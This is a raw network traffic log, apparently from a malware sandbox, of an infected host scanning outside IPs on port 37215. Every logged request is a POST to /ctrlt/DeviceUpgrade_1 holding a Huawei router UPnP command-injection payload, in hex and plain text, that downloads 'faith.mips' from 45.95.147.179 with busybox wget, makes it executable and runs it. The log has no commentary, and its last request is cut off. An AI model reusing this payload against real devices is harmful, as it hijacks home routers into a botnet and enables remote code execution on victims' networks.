Jan 22, 2024 04:02:38.124744892 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.20	41996	94.121.23.83	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:43.694293976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.20	50268	94.121.25.103	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:43.935478926 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.20	57806	94.121.63.139	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:54.588696003 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.20	38656	156.220.40.183	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:55.124407053 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:55.410108089 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.20	51448	156.220.26.17	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:58.717904091 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:58.994153976 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.20	49120	45.115.242.239	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:59.307455063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:00.880781889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:02.772784948 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 